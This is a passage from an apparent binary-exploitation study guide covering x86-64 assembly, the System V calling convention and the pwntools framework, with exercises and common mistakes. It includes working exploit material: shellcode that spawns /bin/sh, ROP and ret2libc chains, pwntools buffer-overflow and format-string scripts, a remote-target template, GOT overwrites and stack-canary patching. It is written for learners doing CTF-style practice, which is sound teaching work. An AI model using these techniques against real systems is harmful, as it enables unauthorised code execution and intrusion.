ah  = 8-bit  (bits 8-15, not available for r8-r15)
```

Critical Behavior: Writing to 32-bit register zeros upper 32 bits:

```
mov rax, 0xffffffffffffffff  ; rax = -1 (all bits set)
mov eax, 0                   ; rax = 0 (upper 32 bits cleared)
```

Stack Discipline:

- Stack grows downward (push decrements rsp)
- `call` pushes return address, jumps to target
- `ret` pops into rip
- Frame pointer (rbp) optionally stores base of stack frame

Instruction Effects:

Instruction	Effect	Flags Modified
mov	Copy data	None
add	Arithmetic add	ZF, CF, OF, SF
sub	Arithmetic subtract	ZF, CF, OF, SF
xor	Bitwise XOR	ZF, SF, PF (clears CF, OF)
test	Bitwise AND (discard result)	ZF, SF, PF
cmp	Subtract (discard result)	ZF, CF, OF, SF
lea	Load effective address (no memory access)	None
push	Decrement rsp, write to stack	None
pop	Read from stack, increment rsp	None

Conditional Jumps: Based on flags register:

- `je`/`jz`: Jump if zero (ZF=1)
- `jne`/`jnz`: Jump if not zero (ZF=0)
- `jg`/`jnle`: Jump if greater (signed)
- `ja`/`jnbe`: Jump if above (unsigned)
- `jl`/`jnge`: Jump if less (signed)

System Calls (x86_64 Linux):

```
mov rax, syscall_number
mov rdi, arg1
mov rsi, arg2
mov rdx, arg3
mov r10, arg4
mov r8,  arg5
mov r9,  arg6
syscall
```

Return value in rax. Negative values = error codes.

3. Role in the Exploit Chain

Assembly knowledge operates at **every stage**:

1. **Vulnerability Analysis:** Identify unsafe operations (unbounded `rep movsb`)
2. **Crash Analysis:** Interpret instruction at RIP during crash
3. **Gadget Selection:** Evaluate gadget side effects (register clobber)
4. **Shellcode Writing:** Hand-craft minimal payloads
5. **Debugging:** Understand single-step execution state

Critical Insight: Exploits don't manipulate "the program"—they manipulate CPU state through assembly instruction sequences.

4. Offline Mastery Strategy

Foundation (Weeks 1-2):

- Learn all general-purpose instructions (mov, add, sub, xor, cmp, etc.)
- Master addressing modes through manual encoding exercises
- Understand flag register behavior

Intermediate (Weeks 3-4):

- Read compiler-generated assembly (compile simple C programs)
- Hand-write functions in assembly
- Practice instruction encoding/decoding

Advanced (Weeks 5-6):

- Optimize assembly sequences (reduce instruction count)
- Write position-independent code
- Understand calling conventions through disassembly

Expert (Weeks 7-8):

- Reverse engineer stripped binaries
- Write complex shellcode (multi-stage, alphanumeric)
- Identify anti-debugging tricks in assembly

Self-Verification:

- Can you mentally execute 10-instruction sequences?
- Can you hand-encode common instructions?
- Can you identify function boundaries without symbols?
- Can you write shellcode from memory?

5. Practical Offline Exercises

Exercise 1: Manual Instruction Tracing

```
mov rax, 0x10
mov rbx, 0x20
add rax, rbx
shl rax, 2
```

Execute mentally, state final register values and flags.

Exercise 2: Compiler Output Analysis

```c
int add(int a, int b) { return a + b; }
```

Compile: `gcc -O0 -S add.c`, analyze assembly. Then with `-O2`, explain differences.

Exercise 3: Calling Convention

```
; Write function that calculates: rax = rdi * rsi + rdx
; Preserve caller-saved registers
```

Exercise 4: ROP Gadget Analysis Given gadget: `pop rax; add rsp, 0x10; ret` Questions:

- What value ends up in rax?
- How many stack entries are consumed?
- What's the side effect?

Exercise 5: Shellcode Writing Write execve("/bin/sh", NULL, NULL) shellcode:

```
; Without null bytes
; Position-independent
; Under 30 bytes
```

Exercise 6: Instruction Encoding Manually encode:

```
mov rax, [rbx + rsi*8 + 0x20]
```

Produce hex bytes, verify with disassembler.

Exercise 7: Flag Register Logic Predict flags after each instruction:

```
xor eax, eax    ; ZF=?, CF=?, SF=?
add eax, 0x80000000
shr eax, 1
```

Exercise 8: Position-Independent Code Convert:

```
call func
; ...
func:
  push rbp
  mov rbp, rsp
  ; function body
```

To position-independent form without hardcoded addresses.

Exercise 9: Reverse Engineering

```
0x401000: push rbp
0x401001: mov rbp, rsp
```

```
0x401004: sub rsp, 0x40
0x401008: mov rax, [rbp+0x10]
0x40100c: mov [rbp-0x8], rax
```

Reconstruct C function prototype and body.

Exercise 10: Optimization Optimize:

```
mov rax, 0
add rax, rdi
mov rbx, rax
```

Reduce to minimal instructions.

6. Common Mistakes and False Mental Models

Mistake 1: Zero-Extension Confusion

```
mov rax, -1         ; rax = 0xffffffffffffffff
mov eax, eax        ; rax = 0x00000000ffffffff (upper cleared!)
```

False model: "Moving 32-bit to itself does nothing" Reality: Implicitly zeros upper 32 bits

Mistake 2: lea vs. mov Confusion

```
lea rax, [rbx + 0x10]  ; rax = rbx + 0x10 (no memory access)
mov rax, [rbx + 0x10]  ; rax = value at memory address (rbx + 0x10)
```

False model: "lea loads from memory" Reality: lea computes address, never accesses memory

Mistake 3: Sign Extension

```
mov rax, 0xffffffff  ; Sign-extended to 0xffffffffffffffff
```

Immediate values are sign-extended in 64-bit mode.

Mistake 4: push/pop Size

```
push rax   ; Writes 8 bytes, rsp -= 8
pop rbx    ; Reads 8 bytes, rsp += 8
```

False model: "push/pop can work with arbitrary sizes" Reality: Always operates on quadword (8 bytes) in 64-bit mode

Mistake 5: RIP-Relative Misunderstanding

```
lea rax, [rip + 0x2000]
```

False model: "Offset from current instruction" Reality: Offset from **next** instruction (after current one)

Mistake 6: Conditional Jump Logic After `cmp rax, rbx`:

- `jg`: Jump if rax > rbx (signed)
- `ja`: Jump if rax > rbx (unsigned)

False model: "These are identical" Reality: 0xffffffff > 0x1 unsigned, but < 0x1 signed

Mistake 7: Flag Preservation

```
mov rax, rbx   ; Does NOT modify flags
add rax, 0     ; DOES modify flags (sets ZF, clears CF)
```

False model: "All arithmetic instructions modify flags" Reality: mov, lea, push, pop don't touch flags

Mistake 8: Call/Ret Stack Balance

```
call func
; Stack has return address
func:
  pop rax    ; Pops return address into rax!
  ret        ; Returns to garbage
```

Common exploit mistake: Misaligning stack

7. Connections to Other Tools and Concepts

Foundation For:

- **Shellcode writing:** Direct application
- **ROP chains:** Gadgets are assembly sequences
- **Heap exploitation:** Understanding memory access patterns
- **Debugging:** Interpreting GDB/pwndbg output

Required By:

- **Reverse engineering:** Reading disassembly
- **Compiler understanding:** Predicting code generation
- **Architecture-specific exploits:** CPU-level manipulation

Tools That Consume Assembly:

- **Assemblers:** nasm, gas (convert text to machine code)
- **Disassemblers:** objdump, Ghidra, IDA (convert machine code to text)
- **Emulators:** Unicorn, QEMU (execute instructions)
- **Symbolic execution:** angr (reason about instruction effects)

Related Concepts:

- **Calling conventions:** How assembly implements function calls
- **ABI (Application Binary Interface):** System-level assembly contracts
- **Microarchitecture:** How CPU internally executes instructions (out-of-order, caching)

Learning Dependencies:

```
Binary representation (bits, bytes, hex)
    ↓
Register model
    ↓
Instruction set
    ↓
Calling conventions
```

```
    ↓
Exploit primitives
```

8. Expert Notes

Performance Characteristics: Modern CPUs execute assembly out-of-order:

```
mov rax, [rbx]     ; May stall on memory load
add rcx, rdx       ; Executes in parallel if registers ready
```

Exploit implication: Timing attacks depend on microarchitecture, not instruction order.

Instruction Selection Nuances:

```
xor eax, eax     ; 2 bytes, clears rax
mov eax, 0       ; 5 bytes, same effect
```

Prefer xor for shellcode size optimization.

Zeroing Techniques:

```
xor rax, rax     ; Zeros rax, sets ZF=1
sub rax, rax     ; Zeros rax, sets ZF=1
mov rax, 0       ; Zeros rax, preserves flags
```

Critical when flags matter (conditional ROP gadgets).

Byte Alignment: Some instructions perform better on aligned addresses:

```
0x400000: mov rax, [rbx]  ; Fast (aligned)
0x400003: mov rax, [rbx]  ; Slower (misaligned)
```

Modern CPUs handle misalignment, but older/embedded systems may fault.

Shellcode Encoding Tricks: Avoid null bytes:

```
; Bad:
mov eax, 0  ; Contains 0x00 bytes

; Good:
xor eax, eax  ; Same effect, no nulls (31 C0)
```

Self-Modifying Code:

```
mov byte [rip + patch], 0x90  ; Write NOP over instruction
patch:
  int3  ; Will become NOP after first execution
```

Used in anti-debugging, obfuscation.

Atomic Operations:

```
lock add [rax], 1  ; Atomic increment (multi-threading safe)
```

Critical for race condition exploits.

Instruction Prefixes:

- `rep`: Repeat string operation (rep movsb)
- `lock`: Atomic memory operation
- `rex`: 64-bit mode extensions

Unusual Addressing:

```
mov rax, [rsp + rax*8 + 0x100]
; Valid, allows complex offset calculations
```

Common Shellcode Patterns:

```
; Position-independent string access
call next
next:
  pop rsi         ; rsi = address of next instruction
  ; String data follows in code section
```

Anti-Disassembly:

```
  jmp target
  db 0xFF         ; Fake instruction byte
target:
  mov rax, rbx
```

Linear disassemblers fail, recursive descent succeeds.

CPU Feature Detection:

```
cpuid  ; Returns CPU info in eax, ebx, ecx, edx
```

Used in malware to detect VMs/sandboxes.

Syscall vs. int 0x80:

- **x86_64:** Use `syscall` instruction
- **x86_32:** Use `int 0x80` or sysenter
- Mixing them causes issues (different ABI)

Stack Alignment: System V ABI requires 16-byte alignment before `call`:

```
; Before call, rsp % 16 must equal 8 (for return address)
sub rsp, 8   ; Align if needed
call func
add rsp, 8
```

Violation causes segfault in some library functions (movaps).

Interesting Instructions for Exploitation:

- `syscall`: Direct kernel interaction
- `sysret`: Kernel-to-user transition (privilege escalation)
- `int3`: Debugger breakpoint (anti-debug detection)
- `rdtsc`: Read timestamp counter (timing attacks)
- `cpuid`: Feature detection (VM detection)

Gadget Quality Assessment:

```
; Good gadget:
pop rdi; ret

; Bad gadget:
pop rdi; mov rax, [rdi]; ret  ; Derefs rdi (might crash)
```

Always analyze full gadget effect.

Compiler Optimization Effects:

- `-O0`: Predictable assembly, easier to follow
- `-O2`: Inlined functions, reordered instructions
- `-O3`: Aggressive optimizations, sometimes breaks assumptions

Architecture Subtleties:

- x86 (32-bit): Different register names (eax not rax), different calling convention
- ARM: Load/store architecture (no memory operands in arithmetic)
- MIPS: Delay slots after branches

System V ABI (Application Binary Interface)

1. Purpose and Motivation

The System V ABI standardizes how compiled programs interact at the binary level on Unix-like systems. It solves the interoperability problem: code compiled by different compilers, at different times, in different languages must correctly call each other.

Without ABI:

- Functions couldn't reliably accept parameters
- Libraries compiled separately would be incompatible
- System calls would have undefined behavior
- Stack frames would collide

For exploitation, ABI knowledge is critical because:

- Vulnerabilities occur at ABI boundaries (argument passing, stack frames)
- Exploits must obey ABI to chain gadgets
- Shellcode must correctly invoke syscalls
- ROP chains must maintain stack alignment

2. Internal Mechanics

Register Usage Convention (x86_64):

Purpose	Registers	Preservation
Arguments (int)	rdi, rsi, rdx, rcx, r8, r9	Caller-saved
Arguments (float)	xmm0-xmm7	Caller-saved
Return value (int)	rax (rdx for 128-bit)	Caller-saved
Return value (float)	xmm0, xmm1	Caller-saved
Callee-saved	rbx, r12-r15, rbp	Callee-saved
Stack pointer	rsp	Must remain 16-byte aligned
Scratch	r10, r11	Caller-saved

Caller-saved: Caller must save if needed across call **Callee-saved:** Callee must preserve (save/restore)

Function Call Sequence:

```
; Caller side:
mov rdi, arg1
mov rsi, arg2
mov rdx, arg3
call function     ; Pushes return address, jumps
; Return here, result in rax

; Callee side:
function:
  push rbp        ; Save old frame pointer
  mov rbp, rsp    ; Establish new frame
  sub rsp, N      ; Allocate stack space
  ; Function body
  mov rax, result ; Set return value
  leave           ; mov rsp, rbp; pop rbp
  ret             ; Pop return address into rip
```

Stack Alignment Requirement: Before executing `call`, rsp must be 16-byte aligned **plus 8**:

- After `call`, rsp points to return address (8 bytes)
- Entry to function: rsp is 16-byte aligned after push rbp
- SSE instructions (movaps) require 16-byte alignment

Violation causes segfaults in optimized code.

Structure Passing:

- Small structures (≤16 bytes): Passed in registers
- Larger structures: Passed by reference (pointer in register)
- Return: Same rules

Variadic Functions (printf, etc.):

- `al` register contains count of vector arguments
- Typically: xor eax, eax before call

System Call Convention (x86_64 Linux): Different from function calls:

Component	Function Call	Syscall
Invocation	call	syscall
Syscall #	—	rax
Arg 1	rdi	rdi
Arg 2	rsi	rsi
Arg 3	rdx	rdx
Arg 4	rcx	**r10**
Arg 5	r8	r8
Arg 6	r9	r9
Return	rax	rax (negative = errno)

Note: rcx is clobbered by syscall instruction (stores return address), so r10 used for 4th argument.

Stack Frame Layout:

```
High addresses
+-------------------+
| Arguments 7+      |  (if more than 6 args)
+-------------------+
| Return address    |  ← RSP after call (before prologue)
+-------------------+
| Saved RBP         |  ← RBP after prologue
+-------------------+
| Local variables   |
+-------------------+
| Saved registers   |  (callee-saved)
+-------------------+
| ...               |  ← RSP during function execution
+-------------------+
Low addresses
```

Red Zone: 128-byte area below rsp that leaf functions can use without adjusting rsp:

```
; Leaf function (calls nothing)
mov [rsp-8], rax   ; Uses red zone
ret
```

Signal handlers and interrupts respect red zone.

3. Role in the Exploit Chain

ABI knowledge is **foundational** for exploitation:

Stack Buffer Overflow:

- Overflow overwrites saved RBP, then return address
- Must know stack frame layout to calculate offset

ROP Chain Construction:

- Gadgets must preserve callee-saved registers if chaining multiple functions
- Stack alignment must be maintained (16-byte)
- Example: Calling system() requires rdi = command string pointer

Return-to-libc:

- Must set rdi = argument before returning to function
- Stack must be aligned

- Common error: Forgetting alignment, system() crashes with movaps

Format String Exploits:

- Format string functions are variadic
- Argument extraction depends on knowing register vs. stack placement
- 7th argument onward is on stack

Shellcode:

- Syscalls require ABI-compliant argument placement
- Must handle clobbered registers (rcx, r11 by syscall)

4. Offline Mastery Strategy

Week 1: Register Convention Internalization

- Memorize register roles
- Practice classifying registers (caller/callee-saved)
- Write functions in assembly respecting convention

Week 2: Stack Frame Analysis

- Disassemble compiled functions
- Identify prologue/epilogue patterns
- Calculate local variable offsets

Week 3: Calling Practice

- Write C programs, analyze assembly output
- Hand-write assembly that calls C functions
- Verify proper argument passing

Week 4: Syscall Mastery

- Write shellcode for common syscalls (read, write, execve)
- Practice encoding without null bytes
- Test in actual exploitation context

Self-Verification:

- Can you write assembly function callable from C?

- Can you call arbitrary libc functions from ROP chain?
- Can you predict stack layout for complex function?
- Can you write position-independent syscall wrapper?

5. Practical Offline Exercises

Exercise 1: Function Calling from Assembly

```
; Write assembly that calls:
int add(int a, int b, int c, int d, int e, int f, int g);
; Verify correct argument placement (register vs. stack)
```

Exercise 2: Stack Frame Reconstruction Disassemble function:

```c
int complex(int a, long b, char *c) {
    char buf[64];
    int local = a * 2;
    strcpy(buf, c);
    return local + strlen(buf);
}
```

Draw stack frame layout with offsets.

Exercise 3: Callee-Saved Register Validation

```
function:
  push rbp
  mov rbp, rsp
  push rbx      ; Save callee-saved
  push r12
  ; Body uses rbx, r12
  pop r12       ; Restore
  pop rbx
  leave
  ret
```

Verify correct save/restore, test with actual code.

Exercise 4: ROP Chain with system() Build ROP chain calling `system("/bin/sh")`:

```
# Must handle:
# 1. Pop "/bin/sh" pointer into rdi
# 2. Ensure stack alignment (16-byte)
# 3. Return to system()
```

Exercise 5: Syscall Shellcode Write execve("/bin/sh", NULL, NULL):

```
; Requirements:
; - rax = 59 (execve)
; - rdi = pointer to "/bin/sh"
; - rsi = 0
; - rdx = 0
; - No null bytes
; - Position-independent
```

Exercise 6: Variadic Function Calling Call printf from assembly:

```
; printf("Value: %d %s\n", 42, "test")
; Requirements:
; - rdi = format string
; - rsi = 42
; - rdx = "test"
; - al = 0 (no vector registers)
```

Exercise 7: Stack Alignment Debugging

```
void crash() {
    // Calls library function with SSE
    double x = sin(1.5);
}
```

Intentionally misalign stack in caller, observe crash. Fix with proper alignment.

Exercise 8: Structure Passing

```
struct Small { long a, b; };
struct Large { long a, b, c; };

void func1(struct Small s);  // Passed how?
void func2(struct Large l);  // Passed how?
```

Analyze assembly, verify register vs. pointer passing.

Exercise 9: Return Value Analysis

```
long long bigreturn() {
    return 0x123456789abcdef0ULL;
}
```

Verify return in rax. Then:

```
__int128 huge() {
    return (__int128)1 << 100;
}
```

Verify use of rax:rdx for 128-bit return.

Exercise 10: Red Zone Exploitation Write exploit that overwrites red zone during signal handler, demonstrating why signal-unsafe code matters.

6. Common Mistakes and False Mental Models

Mistake 1: Forgetting Stack Alignment

```
# ROP chain
rop = p64(pop_rdi) + p64(binsh) + p64(system)
# WRONG: Stack misaligned after system() entry
# Correct:
rop = p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)
#                                   ^^^^^^^ Alignment gadget
```

False model: "Just chain gadgets sequentially" Reality: Must maintain 16-byte alignment before function calls

Mistake 2: Confusing Function and Syscall ABIs

```
; WRONG for syscall:
mov rax, 59
mov rdi, binsh
mov rsi, 0
mov rdx, 0
mov rcx, 0      ; rcx not used in syscall ABI!
syscall

; Correct:
mov r10, 0      ; If 4th arg needed
```

False model: "Same registers for both" Reality: 4th argument differs (rcx vs r10)

Mistake 3: Assuming All Registers Preserved

```
int x = expensive_calculation();
library_call();
// WRONG: Assuming x still in register
use(x);
```

False model: "Registers persist across calls" Reality: Caller-saved registers clobbered by function calls

Mistake 4: Structure Passing Confusion

```
struct { long a, b; } s = {1, 2};
func(s);  // Passed in rdi, rsi (not pointer!)
```

False model: "Structures always passed by pointer" Reality: Small structures (<= 16 bytes) passed by value in registers

Mistake 5: Variadic Function Errors

```
; Calling printf without clearing al
mov rdi, fmt
mov rsi, arg1
call printf   ; May crash (al contains garbage)

; Correct:
xor eax, eax  ; Clear vector register count
```

False model: "al doesn't matter" Reality: Printf checks al for SSE argument count

Mistake 6: Return Address Offset

```
offset = 72  # Calculated to saved RIP
payload = b"A" * offset + p64(target)
# WRONG if offset includes saved RBP
```

False model: "Return address immediately after buffer" Reality: Saved RBP (8 bytes) precedes return address

Mistake 7: Syscall Clobber

```
mov rcx, important_value
syscall
; rcx is now clobbered (contains return address)
```

False model: "Syscall only uses argument registers" Reality: rcx and r11 are clobbered by syscall instruction

Mistake 8: Leaf Function Assumptions

```c
void leaf() {
    int arr[40];  // 160 bytes
    // Uses red zone? NO! Too large
}
```

False model: "All non-calling functions can use red zone" Reality: Red zone is only 128 bytes

7. Connections to Other Tools and Concepts

Foundational For:

- **Shellcode writing:** Syscall ABI required
- **ROP construction:** Function call ABI required
- **Return-to-libc:** Argument passing critical
- **Exploitation primitives:** All depend on ABI understanding

Depends On:

- **Assembly knowledge:** ABI is expressed in assembly
- **CPU architecture:** Register set defines ABI possibilities
- **Operating system:** Syscall numbers, conventions

Related Standards:

- **C language specification:** Defines behavior at source level
- **Linker specifications:** How multiple object files combine
- **ELF format:** Binary structure supporting ABI

Tools That Assume ABI:

- **Compilers:** Generate ABI-compliant code
- **Debuggers:** Parse stack frames using ABI rules
- **pwntools:** ROP chain generators respect ABI
- **Decompilers:** Reconstruct function signatures via ABI

Cross-Platform Variations:

Platform	Calling Convention
Linux x86_64	System V AMD64 ABI
Windows x64	Microsoft x64 calling convention
Linux x86	cdecl (stack-based args)
ARM	AAPCS (r0-r3 for args)

Workflow Integration:

```
[Write exploit plan]
    ↓
[Identify target function: system()]
    ↓
[ABI tells us: need rdi = command pointer]
    ↓
[Find gadget: pop rdi; ret]
    ↓
[Chain: gadget_addr | binsh_addr | system_addr]
    ↓
[Add alignment gadget if needed]
```

8. Expert Notes

Stack Alignment Deep Dive: Why 16-byte alignment?

- SSE instructions (movaps, etc.) require it
- Modern compilers assume it for optimization
- ABI guarantees it, so violation = undefined behavior

Debugging alignment issues:

```
; At function entry, verify:
test rsp, 0xF
; Should equal 0 after prologue (push rbp + sub rsp, ...)
```

Dynamic Linker Interaction: First call to libc function goes through PLT:

```
call printf@plt
; PLT stub:
  jmp [printf@GOT]  ; GOT initially points to resolver
  ; Resolver runs, updates GOT, calls printf
  ; Subsequent calls direct via GOT
```

ABI implications: Resolver must preserve all registers except r11.

Hidden Compiler Behaviors:

```c
void func(int a, int b, int c, int d, int e, int f, int g, int h) {
    // a-f in registers
    // g-h on stack at [rbp+16], [rbp+24]
}
```

Stack arguments accessed via positive offsets from rbp.

Tail Call Optimization:

```
; Normal:
call func
ret

; Tail call:
jmp func  ; Func returns directly to our caller
```

Breaks traditional stack frame analysis in exploits.

Exception Handling (C++): Uses separate stack unwinding mechanism:

- Personality routine registered per function
- .eh_frame section contains unwinding information
- ABI violation can break exception handling

Thread-Local Storage (TLS):

- Accessed via fs/gs segment registers
- `fs:[0]` points to thread control block
- Exploits may need to preserve TLS state

Signal Handler ABI: When signal delivered:

- Red zone becomes invalid (handler may use it)
- Signal handler gets special stack (sigaltstack)
- sigreturn syscall restores context

Floating Point ABI:

- XMM registers for float/double
- Caller-saved: xmm0-xmm15
- Alignment requirements for SIMD operations

Alternative Calling Conventions: Some functions use different conventions:

- Regparm: More arguments in registers
- Fastcall: Windows-style
- Vectorcall: For SIMD-heavy code

Detection:

```
__attribute__((regparm(3))) void func(int a, int b, int c);
```

Advanced ROP Techniques: SROP (Sigreturn-Oriented Programming):

```
# Fake signal frame on stack
frame = SigreturnFrame()
frame.rip = target
frame.rsp = stack
frame.rdi = arg
# sigreturn syscall (rax=15) restores all registers from frame
```

Syscall Argument Limits: Most syscalls accept 6 arguments max (architecture limit). More requires passing structure pointer.

Stack Pivoting: Change rsp to controlled memory:

```
pop rsp; ret  ; Load new stack pointer
; Subsequent rets pop from attacker-controlled data
```

Calling Convention Mismatch Exploits: If binary mixes conventions (rare), exploit the confusion:

```
// Compiled as cdecl but called as fastcall
void vuln(int a, int b);
```

GOT Overwrite Considerations: When overwriting GOT entries, target function must be ABI-compatible:

```
# Overwrite printf@GOT with system
# Works because both expect rdi = char* pointer
```

Partial RELRO: GOT writable → ABI knowledge lets you replace library functions:

```
# Calculate GOT offset from leak
# Write one_gadget or system address
```

Register Widening:

```
mov edi, 0x12345678  ; Zeros upper 32 bits of rdi
; Useful for setting 64-bit argument when only lower bits matter
```

Performance Implications:

- Callee-saved registers reduce caller work (fewer saves)
- Caller-saved registers give callee flexibility (no restore needed)
- Tradeoff depends on call frequency vs. register pressure

ABI Extensions:

- AVX-512: Uses zmm0-zmm31 (512-bit registers)
- ABI unchanged for scalar code
- SIMD-heavy code may violate standard ABI with custom conventions

Kernel ABI: User-to-kernel transition:

- `syscall` instruction switches to kernel mode
- Kernel uses separate stack
- Returns to user mode with `sysret`
- Exploit kernel: Different ABI, different techniques

Verification Techniques:

```
# In pwntools
rop = ROP(elf)
rop.call('system', [binsh])
# pwntools automatically handles alignment, argument placement
```

Common Exploit Patterns:

```
# ret2libc with ABI compliance
rop_chain = flat([
    pop_rdi,        # Gadget: pop rdi; ret
    binsh_addr,     # Argument for system
    ret_gadget,     # Alignment (if needed)
    system_addr     # Target function
])
```

Edge Case: Stack Cleanup: Some calling conventions (stdcall on Windows) require callee to clean stack. System V requires caller cleanup, allowing variadic functions.

---

pwntools

1. Purpose and Motivation

pwntools is a Python framework that eliminates boilerplate in exploit development. It solves the mechanical problems of:

- Binary interaction (send/receive data over sockets, processes)
- Payload construction (packing integers, building ROP chains)
- Debugging integration (attach GDB automatically)
- Architecture abstraction (x86/x64/ARM shellcode generation)
- Common pattern automation (format string exploitation, ELF parsing)

Without pwntools, exploit developers spend 60%+ of time writing I/O code, integer packing, and manual ROP chain construction. pwntools transforms a 200-line exploit into 50 lines of semantic operations.

2. Internal Mechanics

Core Architecture: pwntools consists of several interconnected modules:

```
from pwn import *
# Implicitly imports:
# - context: Global settings (arch, os, endian, log level)
# - tubes: Communication primitives (process, remote, ssh)
# - packing: Integer conversion (p64, u64, etc.)
# - rop: ROP chain construction
# - elf: Binary parsing
# - shellcraft: Shellcode generation
# - util: Cyclic patterns, hex dumps, etc.
```

Tubes Abstraction: Unified interface for I/O:

```
class Tube:
    def send(self, data): ...
    def recv(self, n): ...
    def sendline(self, data): ...
    def recvuntil(self, delim): ...
    def interactive(): ...  # Pass control to user

# Subclasses:
process(["./binary"])      # Local process
remote("host", port)       # TCP socket
ssh(...).process(...)      # Remote via SSH
```

Under the hood:

- `process`: Uses subprocess.Popen with stdin/stdout pipes
- `remote`: Standard socket connection
- Buffering: Internal buffer for partial receives
- Timeout handling: Configurable per operation

Packing System:

```
p64(0x401000)  # Pack as 64-bit little-endian
# Internally:
struct.pack("<Q", 0x401000)

u64(data)      # Unpack from bytes
# Internally:
struct.unpack("<Q", data.ljust(8, b'\x00'))[0]
```

Respects `context.endian` and `context.bits`.

ROP Module:

```
rop = ROP(elf)
# Parses binary with ROPgadget/ropper
# Builds internal gadget database
# Gadget format: (address, instructions, stack_delta)

rop.call('system', [binsh])
# Generates:
# - pop_rdi gadget
# - binsh address
# - alignment ret if needed
# - system address

rop.chain()  # Returns bytes of ROP chain
```

ELF Module:

```
elf = ELF('./binary')
# Parses with pyelftools:
# - Sections, segments
# - Symbols (functions, variables)
# - GOT/PLT entries
# - Relocation information

elf.symbols['main']    # Address of main
elf.got['printf']      # Address of printf GOT entry
elf.plt['printf']      # Address of printf PLT stub
```

Shellcraft Module:

```
shellcraft.sh()
# Returns assembly source for execve("/bin/sh")
# Architecture from context.arch

asm(shellcraft.sh())
# Assembles to machine code using pwnlib assembler
# Uses keystone, binutils, or internal assembler
```

Context System: Global configuration affecting all operations:

```
context.arch = 'amd64'      # Target architecture
context.os = 'linux'        # Target OS
context.endian = 'little'   # Byte order
context.log_level = 'debug' # Verbosity
```

3. Role in the Exploit Chain

pwntools operates in **weaponization and automation**:

```
[Vulnerability discovered via static/dynamic analysis]
    ↓
[pwntools: Process interaction and payload delivery]
    ↓
[pwntools: ROP chain construction]
    ↓
[pwntools: GDB attachment for debugging]
    ↓
[pwntools: Interactive shell upon success]
```

Key Capabilities:

1. **Rapid prototyping:** Test exploit ideas in minutes
2. **Debugging integration:** Seamless GDB attachment
3. **Remote/local parity:** Same script works locally and remotely
4. **Payload automation:** ROP, shellcode generated programmatically

4. Offline Mastery Strategy

Prerequisites:

- Python programming (intermediate level)
- Binary exploitation fundamentals
- Assembly basics (for shellcode understanding)

Week 1: Basic I/O

- Process spawning and interaction
- Sending/receiving data
- Pattern generation (cyclic)
- Integer packing

Week 2: ELF Parsing

- Symbol lookup
- GOT/PLT understanding
- Calculating offsets
- Section enumeration

Week 3: ROP Automation

- Automatic gadget searching
- Chain construction
- Calling functions with arguments
- Stack alignment handling

Week 4: Shellcode Generation

- shellcraft templates
- Custom assembly with asm()
- Architecture switching
- Encoding techniques

Week 5: Advanced Patterns

- Format string automation
- Heap grooming scripts
- Multi-stage exploits
- GDB integration

Self-Verification:

- Can you write basic exploit in <15 lines?
- Can you build ROP chain without manual gadget searching?
- Can you switch architectures with single context change?
- Can you debug exploit interactively with GDB?

5. Practical Offline Exercises

Exercise 1: Basic Buffer Overflow

```python
from pwn import *

context.binary = './vuln'
p = process('./vuln')

# Find offset with cyclic pattern
offset = 72  # Determined via cyclic

payload = flat([
    b'A' * offset,
    0x4011c3  # Return address
])

p.sendline(payload)
p.interactive()
```

Exercise 2: ret2libc

```python
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

# Leak libc address
p.sendlineafter(b'>', b'1')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']

# Build ROP chain
rop = ROP(elf)
rop.call(libc.symbols['system'], [next(libc.search(b'/bin/sh\x00'))])

p.sendlineafter(b'>', b'2')
p.sendline(rop.chain())
p.interactive()
```

Exercise 3: Format String Automation

```python
def leak(offset):
    p.sendlineafter(b'Input:', f'%{offset}$p'.encode())
    return int(p.recvline().strip(), 16)

# Automated leak
for i in range(1, 10):
    val = leak(i)
    log.info(f"Offset {i}: {hex(val)}")
```

Exercise 4: Shellcode Delivery

```python
context.arch = 'amd64'

shellcode = asm(shellcraft.sh())
# or custom:
# shellcode = asm('''
#     xor rsi, rsi
#     push rsi
#     mov rdi, 0x68732f6e69622f
#     push rdi
#     push rsp
#     pop rdi
#     push 59
#     pop rax
#     cdq
#     syscall
# ''')

payload = shellcode + b'A' * (offset - len(shellcode)) + p64(buffer_addr)
p.sendline(payload)
```

Exercise 5: GDB Integration

```python
context.terminal = ['tmux', 'splitw', '-h']

p = gdb.debug('./vuln', '''
    break *vuln+42
    continue
''')

# Exploit proceeds, GDB attached automatically
p.sendline(payload)
```

Exercise 6: Remote Exploit

```python
# Same exploit, different tube
# p = process('./vuln')
```

```
p = remote('challenge.server', 1337)

# Rest of exploit unchanged
```

Exercise 7: Multi-Stage Exploit

```
# Stage 1: Leak addresses
p.sendlineafter(b'>', b'leak')
stack_leak = u64(p.recv(8))
libc_leak = u64(p.recv(8))

# Calculate bases
elf.address = stack_leak - 0x1234
libc.address = libc_leak - libc.symbols['printf']

# Stage 2: Exploit
rop = ROP([elf, libc])
rop.call('system', [next(libc.search(b'/bin/sh'))])

p.sendlineafter(b'>', b'exploit')
p.send(rop.chain())
p.interactive()
```

Exercise 8: Custom Shellcode

```
# Position-independent shellcode
shellcode = asm('''
    call next
next:
    pop rsi
    add rsi, 15  /* Offset to string */
    xor eax, eax
    mov al, 59
    xor edx, edx
    push rdx
    push rsi
    push rsp
    pop rdi
    syscall
    /* String data: */
    .ascii "/bin/sh"
''')
```

Exercise 9: Heap Exploitation Helper

```
def malloc(size):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b'Size:', str(size).encode())
```

```
def free(idx):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b'Index:', str(idx).encode())

def edit(idx, data):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b'Index:', str(idx).encode())
    p.sendafter(b'Data:', data)

# Heap grooming
malloc(0x100)  # Chunk 0
malloc(0x100)  # Chunk 1
free(0)
malloc(0x100)  # Reuses chunk 0
```

Exercise 10: ELF Patching

```
elf = ELF('./binary')
# Disable stack canary check
elf.asm(elf.symbols['__stack_chk_fail'], 'ret')
elf.save('./binary_patched')
```

6. Common Mistakes and False Mental Models

Mistake 1: Forgetting Context Settings

```
# WRONG:
shellcode = asm(shellcraft.sh())  # Uses default arch
# If binary is ARM, generates wrong shellcode

# Correct:
context.arch = 'arm'
shellcode = asm(shellcraft.sh())
```

Mistake 2: Buffer Overflow in recvuntil

```
# Dangerous:
p.recvuntil(b'Password:')  # May hang if string never appears
# Or buffer entire output if delimiter far away

# Better:
```

```
